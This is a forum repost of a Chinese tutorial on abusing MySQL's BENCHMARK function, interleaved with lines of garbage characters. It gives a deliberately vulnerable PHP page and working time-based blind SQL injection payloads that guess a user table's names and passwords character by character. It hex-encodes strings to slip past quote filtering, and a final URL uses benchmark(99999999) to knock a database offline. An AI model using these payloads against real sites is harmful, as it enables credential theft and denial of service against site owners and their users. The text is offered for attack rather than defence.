中国网络渗透测试联盟
标题:
MYSQL中BENCHMARK函数的利用
[打印本页]
作者:
admin
时间:
2012-9-15 14:03
标题:
MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
/ o+ b- @! K/ p( X
本文作者:SuperHei
1 F% y# }* g4 a8 [
文章性质:原创
! _' ^2 ~$ U) v
发布日期:2005-01-02
- P% j9 O% L: U5 Z* k
完成日期:2004-07-09
, k0 b/ C/ v5 |9 }. S
第一部
5 l. B4 c! C7 a7 P# e) A3 E
) X6 ?% T2 P: Y+ V( o }8 O. j1 K$ j
利用时间推延进行注射---BENCHMARK函数在注射中的利用
7 P7 e# N, A3 t6 [1 E; ^$ t
5 m( l- m, D3 c$ M
一.前言/思路
# @+ b3 D/ I1 T5 [/ \
4 z; q& U) r/ `$ ~' r" J
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
Z8 ~0 h: M7 Q: v" Z q' W
3 J, ]+ a! I0 S8 U
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
: _* u" C) L( m" m1 F0 `8 i
8 J- }7 m0 b9 o, w
二.关于BENCHMARK函数
( _+ V) G( _( M) H
. I* p9 y& C0 p+ Z0 d& X% a1 y
在MySQL参考手册里可以看到如下描叙:
& k1 N8 v; A# p5 z
6 E- V& [) F) [0 [$ ?
$ H7 N# x- s' F% d+ G
--------------------------------------------------------------------------------
6 n* ^3 ?; V2 q8 w" o$ F
7 c+ H \5 A) N8 G% A$ `
BENCHMARK(count,expr)
) o3 |* c; w( }! ]0 i# z
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
% o% _9 `: q. k$ j" S! q8 R$ M
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
( Z9 k* n6 j' M; ]6 F
+----------------------------------------------+
" L, z& D& }7 M
| BENCHMARK(1000000,encode("hello","goodbye")) |
6 O3 w; R3 J, W7 c' N- D, l
+----------------------------------------------+
" W# Q5 S- U; `+ Z7 a' O* u
| 0 |
# D/ ^! G$ l4 A2 n5 {$ y; n; N1 F
+----------------------------------------------+
* V9 j9 @! }: D$ n3 P
1 row in set (4.74 sec)
% M( X5 @2 P$ Z5 q0 E% N4 u5 D8 Q# K
5 ~' }3 Y( q \4 m, c
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
7 c4 N; e# E/ L+ C W
6 R! X( o8 b$ V$ A* j% z
) G+ Y# u& b2 C7 }3 {
--------------------------------------------------------------------------------
@& w. e* r6 D0 m
! i4 R6 }& B/ P/ A% z( l* t; f
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
0 r! ~0 v# C- [# I1 R4 K9 t. I+ k# t
' X% |8 i2 ?4 M- l5 B9 s+ g2 O4 a
mysql> select md5( 'test' );
) t/ U/ E0 m8 q: T% M
+----------------------------------+
& O$ |. X! b4 J8 m( n
| md5( 'test' ) |
. Z4 x4 U8 ]; I+ `* [% a
+----------------------------------+
: d, t! B+ k3 R a' x9 a7 S0 k8 {
| 098f6bcd4621d373cade4e832627b4f6 |
5 Y/ i- p9 `2 F q! H
+----------------------------------+
- O& [3 C& x V' W
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
; Z; o- v% I x! t
! V c& M8 z2 }/ x+ [7 J$ D
mysql> select benchmark( 500000, md5( 'test' ) );
Q7 [; C0 G8 X+ K
+------------------------------------+
% j( C' V% z$ n! K9 T" C
| benchmark( 500000, md5( 'test' ) ) |
( c& m5 g5 n1 D% ^: X
+------------------------------------+
2 J8 ]0 T. ?/ x" @0 s
| 0 |
; M" |$ ~( [1 j. Z
+------------------------------------+
0 Q* E2 v$ G+ ^% w& ^5 u
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
' h! `' E6 o8 J" e1 {
9 y4 z2 L' W+ W6 k
g+ i* `; P* V3 r- U1 l, }
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
' ^" H8 ]9 C4 V( X2 Y) b* J
" n4 g' a. N6 f0 H+ A! E( B
三.具体例子
8 A L7 S: Q- z- G b1 m+ i+ G+ c5 t
: B8 ~4 Y5 Q, o# D1 P6 m
首先我们看个简单的php代码:
6 S7 o- R$ t7 G, L
/ h' a6 E+ I4 q$ B" O
< ?php
% h# I! U3 L8 m! F+ p% G t& E
$servername = "localhost";
6 j8 B/ {; w* ?0 I$ H' v) }8 G
$dbusername = "root";
8 y+ L% o' G. q/ N5 @5 J+ ~
$dbpassword = "";
. `% c$ i$ y- B/ V; P+ J8 i
$dbname = "injection";
, s8 p# A0 d: Q- v/ a9 c+ y- {
6 ^6 p8 M L6 V+ J
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, E% t5 {/ a4 d$ n. E- n
2 a, T: |" p% Y: }* V
$sql = "SELECT * FROM article WHERE articleid=$id";
4 \0 ]4 W" n& }: d5 G+ W2 C
$result = mysql_db_query($dbname,$sql);
" q' U* e u- d) m" ^% w
$row = mysql_fetch_array($result);
, q* g& p% y& v' g
2 X/ f9 _! J! s$ w
if (!$row)
9 H6 v) n4 p& I) [. i! h- L. t
{
2 Y+ }6 X+ Q! y8 R9 j4 Y1 \
exit;
2 W2 W }$ R% `4 w* U) ~. j
}
$ J/ I+ `+ G" p. D( M
?>
% g1 G7 z1 ~; ?5 r) t" g
( g, h% E9 S- L8 X2 F8 j
/ P9 [+ H" T4 z4 B5 J
数据库injection结构和内容如下:
; M2 u5 l: N. r- ?) I) S4 Z
6 z8 y m6 o i* q d8 [& `: N
# 数据库 : `injection`
* F9 T7 S, Z- \
#
7 x0 L* I% a8 F4 c3 Q
. E" ?, o7 U9 \# I- R
# --------------------------------------------------------
. F& }9 b8 O" K' |
2 C8 A' W1 s7 K6 A; J0 f; l
#
. N( M/ N6 M( a N+ e
# 表的结构 `article`
# Y5 F8 V$ E7 ~+ \" G
#
/ A/ f, S' l" l* L
2 T, v; \+ c- u$ b* z
CREATE TABLE `article` (
$ `2 r. @' q O6 B* S3 I4 @ ]
`articleid` int(11) NOT NULL auto_increment,
' x# N/ V7 u& j: h) | f# H, V
`title` varchar(100) NOT NULL default '',
2 f2 [) q0 ` |- g3 W
`content` text NOT NULL,
% d% `: G4 ?. Q+ ?0 R
PRIMARY KEY (`articleid`)
9 d. m. ?0 O; S$ }# A
) TYPE=MyISAM AUTO_INCREMENT=3 ;
5 T/ f; t7 O! N \
- Z2 X' S" X3 `/ G' J( |2 C
#
. ?) k3 M6 J7 ^
# 导出表中的数据 `article`
* ~! I! d+ z. Z1 Y; H
#
2 S$ B; ?: z' c* _9 V
6 k8 P, `( F9 j3 [" R" ]
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
! ^/ D: h$ B; m5 y: u
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
/ K: Q8 A5 C; t) N
# t% d# h: ~: A, [. G9 \
# --------------------------------------------------------
7 o. x9 N% g6 J5 U4 [9 ?
. A8 L2 E# E1 t; `$ W" q
#
4 _$ m/ Y6 |7 h4 {1 p
# 表的结构 `user`
& B6 \1 r* ~6 l! Z$ B
#
7 @9 v9 g) C" L7 b; l" @9 e
0 L, Z& F, i. F% q) c. b
CREATE TABLE `user` (
/ [1 D# W5 z: f- M4 k+ b' k& E
`userid` int(11) NOT NULL auto_increment,
. p1 A5 M. j \" e! I2 D5 g
`username` varchar(20) NOT NULL default '',
3 s7 h+ @7 H; L; v2 P o. U3 B
`password` varchar(20) NOT NULL default '',
1 T; D) v" O2 W) E# L
PRIMARY KEY (`userid`)
; r6 r! l9 F' ^/ B/ R4 B
) TYPE=MyISAM AUTO_INCREMENT=3 ;
! E% G$ u/ @+ a2 w9 J/ O: p
5 m( B- Q1 j* M
#
' J' O" F t5 c% Q, c; j/ z
# 导出表中的数据 `user`
7 t+ x& B6 ~! y% L) ?
#
- r$ |3 Y4 g6 L3 p; K
3 A/ i$ V4 O ?) I5 y
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
: O; a' L7 ?; p6 Q
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
7 |- x2 ~7 c9 k3 q3 d3 [& W, T% u
# Y5 Q5 z% a9 t, T# W: r E
8 \; ?7 h* o, h6 ]& U
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
; m- x/ y' L2 I8 ?; L
, y. q( s& H, M" j( E
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
0 c+ o2 O; c# D, a' F& a1 j8 |
3 x. q2 v$ k+ J& y }) L- c( |! d
% ?7 }; x6 o. T% h- Z7 `8 V1 r
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
, @% V( ?: J! w6 T
' z; M! o4 c. V; F' t1 r+ v( n
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
9 n% G0 e/ Q3 I% }. J% W/ V
9 s1 a: [) [0 L5 x
! p* _8 E7 r% M2 E3 J2 t# [8 F
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
( p% A' M' l; j% u# }1 h1 C; r
# T! ?$ C2 _- h( ]" T4 B
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
Y! s7 F7 h F* l
! ?& \ P: w% {0 E1 g$ i
第二部
4 O; J. m' m8 Y# u
1 _# P* y* y8 C
利用BENCHMARK函数进行ddos攻击
* Q9 s- D) l$ s( Y# h1 i! O5 n$ _
6 U4 a0 d) d1 h1 c" ?$ G
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
9 p& `" {+ }6 G P, ?) e- l( @, Y
7 A3 W: j4 m7 \0 j
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,1,benchmark(99999999,md5(0x41))
- F5 u. K9 E+ Y3 c5 S# F
* q. T4 ?) Y2 S2 T* j3 _
+ y( S2 S, J5 b' K4 w8 ~
小结
' o [. l2 l( q9 ~
7 B+ {* E9 x! q- K& {( r
本文主要思路来自
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
" ?0 |3 q, i& S, Z% Y5 g' [/ O
7 u4 r5 v" m$ c8 S$ o! H6 ^
$ e* q! c4 h! v1 M/ O1 o- T: s
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2